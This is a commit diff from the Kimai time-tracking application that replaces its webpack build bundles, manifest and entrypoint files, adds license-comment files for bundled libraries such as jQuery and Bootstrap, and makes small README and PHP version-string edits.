this.filter(ue).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=C.isEmptyObject(e),o=C.speed(t,n,r),s=function(){var t=ft(this,C.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return s.finish=s,i||!1===o.queue?this.each(s):this.queue(o.queue,s)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&this.queue(e||"fx",[]),this.each((function(){var t=!0,i=null!=e&&e+"queueHooks",o=C.timers,s=J.get(this);if(i)s[i]&&s[i].stop&&r(s[i]);else for(i in s)s[i]&&s[i].stop&&st.test(i)&&r(s[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||C.dequeue(this,e)}))},finish:function(e){return!1!==e&&(e=e||"fx"),this.each((function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=C.timers,s=r?r.length:0;for(n.finish=!0,C.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<s;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish}))}}),C.each(["toggle","show","hide"],(function(e,t){var n=C.fn[t];C.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(lt(t,!0),e,r,i)}})),C.each({slideDown:lt("show"),slideUp:lt("hide"),slideToggle:lt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},(function(e,t){C.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}})),C.timers=[],C.fx.tick=function(){var e,t=0,n=C.timers;for(rt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||C.fx.stop(),rt=void 0},C.fx.timer=function(e){C.timers.push(e),C.fx.start()},C.fx.interval=13,C.fx.start=function(){it||(it=!0,at())},C.fx.stop=function(){it=null},C.fx.speeds={slow:600,fast:200,_default:400},C.fn.delay=function(e,t){return e=C.fx&&C.fx.speeds[e]||e,t=t||"fx",this.queue(t,(function(t,r){var i=n.setTimeout(t,e);r.stop=function(){n.clearTimeout(i)}}))},function(){var e=x.createElement("input"),t=x.createElement("select").appendChild(x.createElement("option"));e.type="checkbox",v.checkOn=""!==e.value,v.optSelected=t.selected,(e=x.createElement("input")).value="t",e.type="radio",v.radioValue="t"===e.value}();var pt,dt=C.expr.attrHandle;C.fn.extend({attr:function(e,t){return z(this,C.attr,e,t,arguments.length>1)},remo
    ... [truncated]
    
  • public/build/2.42abdacc.js+0 1 removed
  • public/build/app.30cfcd45.js+0 1 removed
  • public/build/app.cf7b7f85.css+1 0 added
  • public/build/app.e4243154.js+2 0 added
  • public/build/app.e4243154.js.LICENSE.txt+262 0 added
    @@ -0,0 +1,262 @@
    +/*!
    + * Bootstrap v3.4.1 (https://getbootstrap.com/)
    + * Copyright 2011-2019 Twitter, Inc.
    + * Licensed under the MIT license
    + */
    +
    +/*!
    + * JavaScript Cookie v2.2.1
    + * https://github.com/js-cookie/js-cookie
    + *
    + * Copyright 2006, 2015 Klaus Hartl & Fagner Brack
    + * Released under the MIT license
    + */
    +
    +/*!
    + * Sizzle CSS Selector Engine v2.3.5
    + * https://sizzlejs.com/
    + *
    + * Copyright JS Foundation and other contributors
    + * Released under the MIT license
    + * https://js.foundation/
    + *
    + * Date: 2020-03-14
    + */
    +
    +/*!
    + * [KIMAI] KimaiAPI: easy access to API methods
    + */
    +
    +/*!
    + * [KIMAI] KimaiActiveRecords: responsible to display the users active records
    + */
    +
    +/*!
    + * [KIMAI] KimaiActiveRecordsDuration: activate the updates for all active timesheet records on this page
    + */
    +
    +/*!
    + * [KIMAI] KimaiAjaxModalForm
    + *
    + * allows to assign the given selector to any element, which then is used as click-handler:
    + * opening a modal with the content from the URL given in the elements 'data-href' or 'href' attribute
    + */
    +
    +/*!
    + * [KIMAI] KimaiAlert: notifications for Kimai
    + */
    +
    +/*!
    + * [KIMAI] KimaiAlternativeLinks
    + *
    + * allows to assign the given selector to any element, which then is used as click-handler
    + * redirecting to the URL given in the elements 'data-href' or 'href' attribute
    + */
    +
    +/*!
    + * [KIMAI] KimaiConfiguration: handling all configuration and runtime settings
    + */
    +
    +/*!
    + * [KIMAI] KimaiContainer
    + *
    + * ServiceContainer for Kimai
    + */
    +
    +/*!
    + * [KIMAI] KimaiCookies: simple wrapper to handle cookies
    + */
    +
    +/*!
    + * [KIMAI] KimaiDatatable: handles functionality for the datatable
    + */
    +
    +/*!
    + * [KIMAI] KimaiDatatableColumnView: manages the visibility of data-table columns in cookies
    + */
    +
    +/*!
    + * [KIMAI] KimaiDatePicker: single date selects (currently unused)
    + */
    +
    +/*!
    + * [KIMAI] KimaiDateRangePicker: activate the (daterange picker) compound field in toolbar
    + */
    +
    +/*!
    + * [KIMAI] KimaiDateTimePicker: activate the (datetime picker) field in timesheet edit dialog
    + */
    +
    +/*!
    + * [KIMAI] KimaiDateUtils: responsible for handling date specific tasks
    + */
    +
    +/*!
    + * [KIMAI] KimaiEvent: helper to trigger events
    + */
    +
    +/*!
    + * [KIMAI] KimaiForm: basic functions for all forms
    + */
    +
    +/*!
    + * [KIMAI] KimaiFormSelect: enhanced functionality for HTML select's
    + */
    +
    +/*!
    + * [KIMAI] KimaiLoader: bootstrap the application and all plugins
    + */
    +
    +/*!
    + * [KIMAI] KimaiMultiUpdateForm: handle the multi update checkbox list and form
    + */
    +
    +/*!
    + * [KIMAI] KimaiPaginatedBoxWidget: handles box widgets that have a pagination
    + */
    +
    +/*!
    + * [KIMAI] KimaiPlugin: base class for all plugins
    + */
    +
    +/*!
    + * [KIMAI] KimaiRecentActivities: responsible to reload the users recent activities
    + */
    +
    +/*!
    + * [KIMAI] KimaiReducedClickHandler: abstract class
    + */
    +
    +/*!
    + * [KIMAI] KimaiReloadPageWidget: a simple helper to reload the page on events
    + */
    +
    +/*!
    + * [KIMAI] KimaiSelectDataAPI: <select> boxes with dynamic data from API
    + */
    +
    +/*!
    + * [KIMAI] KimaiThemeInitializer: initialize theme functionality
    + */
    +
    +/*!
    + * [KIMAI] KimaiToolbar: some event listener to handle the toolbar/data-table filter, toolbar and navigation
    + */
    +
    +/*!
    + * [KIMAI] KimaiTranslation: handling translation strings
    + */
    +
    +/*!
    + * [KIMAI] Wrapper class for loading Kimai app in browser script scope
    + */
    +
    +/*!
    + * jQuery JavaScript Library v3.5.1
    + * https://jquery.com/
    + *
    + * Includes Sizzle.js
    + * https://sizzlejs.com/
    + *
    + * Copyright JS Foundation and other contributors
    + * Released under the MIT license
    + * https://jquery.org/license
    + *
    + * Date: 2020-05-04T22:49Z
    + */
    +
    +/*!
    + * jQuery UI Autocomplete 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*!
    + * jQuery UI Keycode 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*!
    + * jQuery UI Menu 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*!
    + * jQuery UI Position 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + *
    + * http://api.jqueryui.com/position/
    + */
    +
    +/*!
    + * jQuery UI Unique ID 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*!
    + * jQuery UI Widget 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*! AdminLTE app.js
    +* ================
    +* Main JS application file for AdminLTE v2. This file
    +* should be included in all pages. It controls some layout
    +* options and implements exclusive AdminLTE plugins.
    +*
    +* @author Colorlib
    +* @support <https://github.com/ColorlibHQ/AdminLTE/issues>
    +* @version v2.4.18
    +* @repository git://github.com/ColorlibHQ/AdminLTE.git
    +* @license MIT <http://opensource.org/licenses/MIT>
    +*/
    +
    +/*! Copyright (c) 2011 Piotr Rochala (http://rocha.la)
    + * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
    + * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
    + *
    + * Version: 1.3.8
    + *
    + */
    +
    +/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */
    +
    +/**
    + * @license almond 0.3.3 Copyright jQuery Foundation and other contributors.
    + * Released under MIT license, http://github.com/requirejs/almond/LICENSE
    + */
    +
    +/**
    +* @version: 3.1
    +* @author: Dan Grossman http://www.dangrossman.info/
    +* @copyright: Copyright (c) 2012-2019 Dan Grossman. All rights reserved.
    +* @license: Licensed under the MIT license. See http://www.opensource.org/licenses/mit-license.php
    +* @website: http://www.daterangepicker.com/
    +*/
    +
    +//! moment.js
    +
    +//! moment.js locale configuration
    
  • public/build/app.fb1d5bab.css+0 1 removed
  • public/build/calendar.070aab88.js+0 1 removed
  • public/build/calendar.25e7e872.css+0 0 renamed
  • public/build/calendar.6260174b.js+2 0 added
  • public/build/calendar.6260174b.js.LICENSE.txt+79 0 added
    @@ -0,0 +1,79 @@
    +/*!
    + * FullCalendar v3.10.2
    + * Docs & License: https://fullcalendar.io/
    + * (c) 2019 Adam Shaw
    + */
    +
    +/*!
    + * Sizzle CSS Selector Engine v2.3.5
    + * https://sizzlejs.com/
    + *
    + * Copyright JS Foundation and other contributors
    + * Released under the MIT license
    + * https://js.foundation/
    + *
    + * Date: 2020-03-14
    + */
    +
    +/*!
    + * jQuery JavaScript Library v3.5.1
    + * https://jquery.com/
    + *
    + * Includes Sizzle.js
    + * https://sizzlejs.com/
    + *
    + * Copyright JS Foundation and other contributors
    + * Released under the MIT license
    + * https://jquery.org/license
    + *
    + * Date: 2020-05-04T22:49Z
    + */
    +
    +/*!
    + * jQuery UI :data 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*!
    + * jQuery UI Draggable 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*!
    + * jQuery UI Mouse 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*!
    + * jQuery UI Scroll Parent 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +/*!
    + * jQuery UI Widget 1.12.1
    + * http://jqueryui.com
    + *
    + * Copyright jQuery Foundation and other contributors
    + * Released under the MIT license.
    + * http://jquery.org/license
    + */
    +
    +//! moment.js
    +
    +//! moment.js locale configuration
    
  • public/build/chart.34d60a88.js+0 1 removed
    @@ -1 +0,0 @@
    -(window.webpackJsonp=window.webpackJsonp||[]).push([["chart"],{"3JjE":function(n,w,o){o("JVhT")}},[["3JjE","runtime",0,2]]]);
    \ No newline at end of file
    
  • public/build/chart.e845e930.js+2 0 added
  • public/build/chart.e845e930.js.LICENSE.txt+10 0 added
    @@ -0,0 +1,10 @@
    +/*!
    + * Chart.js v2.9.4
    + * https://www.chartjs.org
    + * (c) 2020 Chart.js Contributors
    + * Released under the MIT License
    + */
    +
    +//! moment.js
    +
    +//! moment.js locale configuration
    
  • public/build/entrypoints.json+14 35 modified
    @@ -2,66 +2,45 @@
       "entrypoints": {
         "app": {
           "js": [
    -        "build/runtime.098eaae1.js",
    -        "build/0.9ec1fb96.js",
    -        "build/1.2890d91a.js",
    -        "build/app.30cfcd45.js"
    +        "build/runtime.b8e7bb04.js",
    +        "build/app.e4243154.js"
           ],
           "css": [
    -        "build/app.fb1d5bab.css"
    +        "build/app.cf7b7f85.css"
           ]
         },
         "invoice": {
           "js": [
    -        "build/runtime.098eaae1.js",
    -        "build/invoice.74279541.js"
    +        "build/runtime.b8e7bb04.js",
    +        "build/invoice.19f36eca.js"
           ],
           "css": [
    -        "build/invoice.13d8ef4e.css"
    +        "build/invoice.ff32661a.css"
           ]
         },
         "invoice-pdf": {
           "js": [
    -        "build/runtime.098eaae1.js",
    -        "build/invoice-pdf.0efd7a97.js"
    +        "build/runtime.b8e7bb04.js",
    +        "build/invoice-pdf.0ce1f3ce.js"
           ],
           "css": [
    -        "build/invoice-pdf.d79f186b.css"
    +        "build/invoice-pdf.9a7468ef.css"
           ]
         },
         "chart": {
           "js": [
    -        "build/runtime.098eaae1.js",
    -        "build/0.9ec1fb96.js",
    -        "build/2.42abdacc.js",
    -        "build/chart.34d60a88.js"
    +        "build/runtime.b8e7bb04.js",
    +        "build/chart.e845e930.js"
           ]
         },
         "calendar": {
           "js": [
    -        "build/runtime.098eaae1.js",
    -        "build/0.9ec1fb96.js",
    -        "build/1.2890d91a.js",
    -        "build/calendar.070aab88.js"
    +        "build/runtime.b8e7bb04.js",
    +        "build/calendar.6260174b.js"
           ],
           "css": [
    -        "build/calendar.1408f57e.css"
    +        "build/calendar.25e7e872.css"
           ]
         }
    -  },
    -  "integrity": {
    -    "build/runtime.098eaae1.js": "sha384-xNNrNinl64G3nCUrIskgSjU0mUXXCB9lj6XCSInBTwxSKXk8uTMafnLHtdWdIGtd",
    -    "build/0.9ec1fb96.js": "sha384-1dI1TIwKkV71L1OH+DnDqaG1su73sfoXwMVzfTuAEIg0HgVImtDf01RtbASXV7yK",
    -    "build/1.2890d91a.js": "sha384-r7OpYErcdJM7NmHiLm3n6J144cfkYc57YYAKn/QabksGh/Rd+tpcy6/kLwpVSD0b",
    -    "build/app.30cfcd45.js": "sha384-tT3RXfRGKYPzUxfVgu8rQFENYmZhUJxF3KlVXSVwEXJy0T6fJJT5XcO5eVF7NLep",
    -    "build/app.fb1d5bab.css": "sha384-b8s0budBJh3JWWMyOZ08KKAx/Ukl0GWMX/o5yD87UL5SAq5datSu8vuzTS0cnA6T",
    -    "build/invoice.74279541.js": "sha384-2BXic5Sgorf2tXai6zSAN4wLY2dbg06L03/xMKW6itMcszvtnRArKzfBh6DNcF3f",
    -    "build/invoice.13d8ef4e.css": "sha384-B6RN/wZJToSBCZk2JeLokIqWEhbh+Eb9arYbt9dM+YoC2Z6PnCeTwTqSGyexWWJh",
    -    "build/invoice-pdf.0efd7a97.js": "sha384-bSdIeRCtEJiYYuc2reb0e5CpJ1Kbd1lQNEkElMTiq1SX0IINzdwJJYf6WnCcHrNC",
    -    "build/invoice-pdf.d79f186b.css": "sha384-KSYQKnPrIXiVyfsjoUPzXMIVjPGX7aoYCUKd1eTZUcmKz+a16xKRfzp8bGh8mMoV",
    -    "build/2.42abdacc.js": "sha384-HuO5r7paiQjCL4iuzomSAjHpT4xryOt9PTJDeruOY+yq+putGpFRKdOXXqfu5FtR",
    -    "build/chart.34d60a88.js": "sha384-I57c9DtU3AOG2kzKqIZkIu0hi1aGYHRZ5QG4LKC9+9slzJnAMttPGXoL2cQG3m6y",
    -    "build/calendar.070aab88.js": "sha384-O4jPn6kWox23+Q1jgzeDWwW8LsZWFqLABhkHXze8Hqj4/6rw1MRCVKxFyDxZwcsJ",
    -    "build/calendar.1408f57e.css": "sha384-ta519W5+NY1a8FBh7rD4zORYTfUXCYTLci0Z25nf4BfodmuXqyPVNEe7dSe2/fRd"
       }
     }
    \ No newline at end of file
    
  • public/build/fonts/fa-brands-400.329a95a9.woff+0 0 renamed
  • public/build/fonts/fa-brands-400.89a52ae1.eot+0 0 renamed
  • public/build/fonts/fa-brands-400.9e138496.ttf+0 0 renamed
  • public/build/fonts/fa-brands-400.c1210e5e.woff2+0 0 renamed
  • public/build/fonts/fa-regular-400.1017bce8.ttf+0 0 renamed
  • public/build/fonts/fa-regular-400.36722648.woff+0 0 renamed
  • public/build/fonts/fa-regular-400.4079ae2d.eot+0 0 renamed
  • public/build/fonts/fa-regular-400.68c5af1f.woff2+0 0 renamed
  • public/build/fonts/fa-solid-900.07c3313b.ttf+0 0 renamed
  • public/build/fonts/fa-solid-900.ada6e6df.woff2+0 0 renamed
  • public/build/fonts/fa-solid-900.c6ec0800.woff+0 0 renamed
  • public/build/fonts/fa-solid-900.efbd5d20.eot+0 0 renamed
  • public/build/fonts/glyphicons-halflings-regular.4692b9ec.ttf+0 0 renamed
  • public/build/fonts/glyphicons-halflings-regular.5be1347c.eot+0 0 renamed
  • public/build/fonts/glyphicons-halflings-regular.82b1212e.woff+0 0 renamed
  • public/build/fonts/glyphicons-halflings-regular.be810be3.woff2+0 0 renamed
  • public/build/images/fa-brands-400.216edb96.svg+0 0 renamed
  • public/build/images/fa-regular-400.19e27d34.svg+0 0 renamed
  • public/build/images/fa-solid-900.13de59f1.svg+0 0 renamed
  • public/build/images/glyphicons-halflings-regular.060b2710.svg+0 0 renamed
  • public/build/invoice.19f36eca.js+1 0 added
    @@ -0,0 +1 @@
    +(self.webpackChunkkimai2=self.webpackChunkkimai2||[]).push([[149],{474:function(i,n,s){s(3648)},3648:function(i,n,s){"use strict";s.r(n)}},function(i){"use strict";var n;n=474,i(i.s=n)}]);
    \ No newline at end of file
    
  • public/build/invoice.74279541.js+0 1 removed
    @@ -1 +0,0 @@
    -(window.webpackJsonp=window.webpackJsonp||[]).push([["invoice"],{AXCM:function(n,i,o){},OMhV:function(n,i,o){o("AXCM")}},[["OMhV","runtime"]]]);
    \ No newline at end of file
    
  • public/build/invoice.ff32661a.css+0 0 renamed
  • public/build/invoice-pdf.0ce1f3ce.js+1 0 added
    @@ -0,0 +1 @@
    +(self.webpackChunkkimai2=self.webpackChunkkimai2||[]).push([[266],{35:function(i,n,s){s(297)},297:function(i,n,s){"use strict";s.r(n)}},function(i){"use strict";var n;n=35,i(i.s=n)}]);
    \ No newline at end of file
    
  • public/build/invoice-pdf.0efd7a97.js+0 1 removed
    @@ -1 +0,0 @@
    -(window.webpackJsonp=window.webpackJsonp||[]).push([["invoice-pdf"],{G2iK:function(n,i,o){},"ls+r":function(n,i,o){o("G2iK")}},[["ls+r","runtime"]]]);
    \ No newline at end of file
    
  • public/build/invoice-pdf.9a7468ef.css+0 0 renamed
  • public/build/manifest.json+32 35 modified
    @@ -1,37 +1,34 @@
     {
    -  "build/0.9ec1fb96.js": "build/0.9ec1fb96.js",
    -  "build/1.2890d91a.js": "build/1.2890d91a.js",
    -  "build/2.42abdacc.js": "build/2.42abdacc.js",
    -  "build/app.css": "build/app.fb1d5bab.css",
    -  "build/app.js": "build/app.30cfcd45.js",
    -  "build/calendar.css": "build/calendar.1408f57e.css",
    -  "build/calendar.js": "build/calendar.070aab88.js",
    -  "build/chart.js": "build/chart.34d60a88.js",
    -  "build/invoice.css": "build/invoice.13d8ef4e.css",
    -  "build/invoice.js": "build/invoice.74279541.js",
    -  "build/invoice-pdf.css": "build/invoice-pdf.d79f186b.css",
    -  "build/invoice-pdf.js": "build/invoice-pdf.0efd7a97.js",
    -  "build/runtime.js": "build/runtime.098eaae1.js",
    -  "build/fonts/fa-brands-400.woff": "build/fonts/fa-brands-400.099a9556.woff",
    -  "build/fonts/fa-brands-400.eot": "build/fonts/fa-brands-400.30cc681d.eot",
    -  "build/fonts/fa-brands-400.ttf": "build/fonts/fa-brands-400.3b89dd10.ttf",
    -  "build/fonts/fa-brands-400.woff2": "build/fonts/fa-brands-400.f7307680.woff2",
    -  "build/fonts/fa-regular-400.ttf": "build/fonts/fa-regular-400.1f77739c.ttf",
    -  "build/fonts/fa-regular-400.woff": "build/fonts/fa-regular-400.7124eb50.woff",
    -  "build/fonts/fa-regular-400.eot": "build/fonts/fa-regular-400.7630483d.eot",
    -  "build/fonts/fa-regular-400.woff2": "build/fonts/fa-regular-400.f0f82301.woff2",
    -  "build/fonts/fa-solid-900.eot": "build/fonts/fa-solid-900.1042e8ca.eot",
    -  "build/fonts/fa-solid-900.ttf": "build/fonts/fa-solid-900.605ed792.ttf",
    -  "build/fonts/fa-solid-900.woff": "build/fonts/fa-solid-900.9fe5a17c.woff",
    -  "build/fonts/fa-solid-900.woff2": "build/fonts/fa-solid-900.e8a427e1.woff2",
    -  "build/fonts/glyphicons-halflings-regular.woff2": "build/fonts/glyphicons-halflings-regular.448c34a5.woff2",
    -  "build/fonts/glyphicons-halflings-regular.ttf": "build/fonts/glyphicons-halflings-regular.e18bbf61.ttf",
    -  "build/fonts/glyphicons-halflings-regular.eot": "build/fonts/glyphicons-halflings-regular.f4769f9b.eot",
    -  "build/fonts/glyphicons-halflings-regular.woff": "build/fonts/glyphicons-halflings-regular.fa277232.woff",
    -  "build/images/default_avatar.png": "build/images/default_avatar.png",
    -  "build/images/fa-brands-400.svg": "build/images/fa-brands-400.ba7ed552.svg",
    -  "build/images/fa-regular-400.svg": "build/images/fa-regular-400.0bb42845.svg",
    -  "build/images/fa-solid-900.svg": "build/images/fa-solid-900.376c1f97.svg",
    -  "build/images/glyphicons-halflings-regular.svg": "build/images/glyphicons-halflings-regular.89889688.svg",
    -  "build/images/signature.png": "build/images/signature.png"
    +  "build/app.css": "build/app.cf7b7f85.css",
    +  "build/app.js": "build/app.e4243154.js",
    +  "build/invoice.css": "build/invoice.ff32661a.css",
    +  "build/invoice.js": "build/invoice.19f36eca.js",
    +  "build/invoice-pdf.css": "build/invoice-pdf.9a7468ef.css",
    +  "build/invoice-pdf.js": "build/invoice-pdf.0ce1f3ce.js",
    +  "build/chart.js": "build/chart.e845e930.js",
    +  "build/calendar.css": "build/calendar.25e7e872.css",
    +  "build/calendar.js": "build/calendar.6260174b.js",
    +  "build/runtime.js": "build/runtime.b8e7bb04.js",
    +  "build/images/fa-solid-900.svg": "build/images/fa-solid-900.13de59f1.svg",
    +  "build/images/fa-brands-400.svg": "build/images/fa-brands-400.216edb96.svg",
    +  "build/fonts/fa-solid-900.eot": "build/fonts/fa-solid-900.efbd5d20.eot",
    +  "build/fonts/fa-solid-900.ttf": "build/fonts/fa-solid-900.07c3313b.ttf",
    +  "build/images/fa-regular-400.svg": "build/images/fa-regular-400.19e27d34.svg",
    +  "build/fonts/fa-brands-400.eot": "build/fonts/fa-brands-400.89a52ae1.eot",
    +  "build/fonts/fa-brands-400.ttf": "build/fonts/fa-brands-400.9e138496.ttf",
    +  "build/images/glyphicons-halflings-regular.svg": "build/images/glyphicons-halflings-regular.060b2710.svg",
    +  "build/fonts/fa-solid-900.woff": "build/fonts/fa-solid-900.c6ec0800.woff",
    +  "build/fonts/fa-brands-400.woff": "build/fonts/fa-brands-400.329a95a9.woff",
    +  "build/fonts/fa-solid-900.woff2": "build/fonts/fa-solid-900.ada6e6df.woff2",
    +  "build/fonts/fa-brands-400.woff2": "build/fonts/fa-brands-400.c1210e5e.woff2",
    +  "build/fonts/glyphicons-halflings-regular.ttf": "build/fonts/glyphicons-halflings-regular.4692b9ec.ttf",
    +  "build/fonts/fa-regular-400.eot": "build/fonts/fa-regular-400.4079ae2d.eot",
    +  "build/fonts/fa-regular-400.ttf": "build/fonts/fa-regular-400.1017bce8.ttf",
    +  "build/fonts/glyphicons-halflings-regular.woff": "build/fonts/glyphicons-halflings-regular.82b1212e.woff",
    +  "build/fonts/glyphicons-halflings-regular.eot": "build/fonts/glyphicons-halflings-regular.5be1347c.eot",
    +  "build/fonts/glyphicons-halflings-regular.woff2": "build/fonts/glyphicons-halflings-regular.be810be3.woff2",
    +  "build/fonts/fa-regular-400.woff": "build/fonts/fa-regular-400.36722648.woff",
    +  "build/images/signature.png": "build/images/signature.png",
    +  "build/fonts/fa-regular-400.woff2": "build/fonts/fa-regular-400.68c5af1f.woff2",
    +  "build/images/default_avatar.png": "build/images/default_avatar.png"
     }
    \ No newline at end of file
    
  • public/build/runtime.098eaae1.js+0 1 removed
    @@ -1 +0,0 @@
    -!function(e){function r(r){for(var n,l,i=r[0],f=r[1],a=r[2],c=0,s=[];c<i.length;c++)l=i[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in f)Object.prototype.hasOwnProperty.call(f,n)&&(e[n]=f[n]);for(p&&p(r);s.length;)s.shift()();return u.push.apply(u,a||[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,i=1;i<t.length;i++){var f=t[i];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=l(l.s=t[0]))}return e}var n={},o={runtime:0},u=[];function l(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,l),t.l=!0,t.exports}l.m=e,l.c=n,l.d=function(e,r,t){l.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},l.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,r){if(1&r&&(e=l(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(l.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var n in e)l.d(t,n,function(r){return e[r]}.bind(null,n));return t},l.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(r,"a",r),r},l.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},l.p="build/";var i=window.webpackJsonp=window.webpackJsonp||[],f=i.push.bind(i);i.push=r,i=i.slice();for(var a=0;a<i.length;a++)r(i[a]);var p=f;t()}([]);
    \ No newline at end of file
    
  • public/build/runtime.b8e7bb04.js+1 0 added
    @@ -0,0 +1 @@
    +!function(){"use strict";var e,n={},r={};function t(e){var o=r[e];if(void 0!==o)return o.exports;var i=r[e]={id:e,loaded:!1,exports:{}};return n[e].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}t.m=n,t.amdO={},e=[],t.O=function(n,r,o,i){if(!r){var u=1/0;for(f=0;f<e.length;f++){r=e[f][0],o=e[f][1],i=e[f][2];for(var c=!0,a=0;a<r.length;a++)(!1&i||u>=i)&&Object.keys(t.O).every((function(e){return t.O[e](r[a])}))?r.splice(a--,1):(c=!1,i<u&&(u=i));c&&(e.splice(f--,1),n=o())}return n}i=i||0;for(var f=e.length;f>0&&e[f-1][2]>i;f--)e[f]=e[f-1];e[f]=[r,o,i]},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,{a:n}),n},t.d=function(e,n){for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),t.hmd=function(e){return(e=Object.create(e)).children||(e.children=[]),Object.defineProperty(e,"exports",{enumerable:!0,set:function(){throw new Error("ES Modules may not assign module.exports or exports.*, Use ESM export syntax, instead: "+e.id)}}),e},t.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.nmd=function(e){return e.paths=[],e.children||(e.children=[]),e},t.p="build/",function(){var e={666:0};t.O.j=function(n){return 0===e[n]};var n=function(n,r){var o,i,u=r[0],c=r[1],a=r[2],f=0;for(o in c)t.o(c,o)&&(t.m[o]=c[o]);if(a)var l=a(t);for(n&&n(r);f<u.length;f++)i=u[f],t.o(e,i)&&e[i]&&e[i][0](),e[u[f]]=0;return t.O(l)},r=self.webpackChunkkimai2=self.webpackChunkkimai2||[];r.forEach(n.bind(null,0)),r.push=n.bind(null,r.push.bind(r))}()}();
    \ No newline at end of file
    
  • README.md+0 2 modified
    @@ -7,8 +7,6 @@
         <a href="https://codecov.io/gh/kevinpapst/kimai2"><img alt="Code Coverage" src="https://codecov.io/gh/kevinpapst/kimai2/branch/master/graph/badge.svg"></a>
         <a href="https://packagist.org/packages/kevinpapst/kimai2"><img alt="Latest stable version" src="https://poser.pugx.org/kevinpapst/kimai2/v/stable"></a>
         <a href="https://packagist.org/packages/kevinpapst/kimai2"><img alt="License" src="https://poser.pugx.org/kevinpapst/kimai2/license"></a>
    -    <a href="https://gitter.im/kimai2/support"><img alt="Gitter" src="https://badges.gitter.im/kimai2/support.svg"></a>
    -    <a href="https://www.bountysource.com/teams/kimai2"><img alt="Bountysource" src="https://img.shields.io/bountysource/team/kimai2/activity"></a>
     </p>
     
     <h1 align="center">Kimai - time-tracker</h1>
    
  • src/API/Model/Version.php+1 1 modified
    @@ -80,5 +80,5 @@ class Version
          * @Serializer\Groups({"Default"})
          * @Serializer\Type(name="string")
          */
    -    protected $copyright = Constants::SOFTWARE . ' - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.';
    +    protected $copyright = Constants::SOFTWARE . ' ' . Constants::VERSION . ' by Kevin Papst and contributors.';
     }
    
  • src/Command/InstallCommand.php+1 1 modified
    @@ -105,7 +105,7 @@ protected function execute(InputInterface $input, OutputInterface $output)
             }
     
             $io->success(
    -            sprintf('Congratulations! Successfully installed %s version %s (%s)', Constants::SOFTWARE, Constants::VERSION, Constants::STATUS)
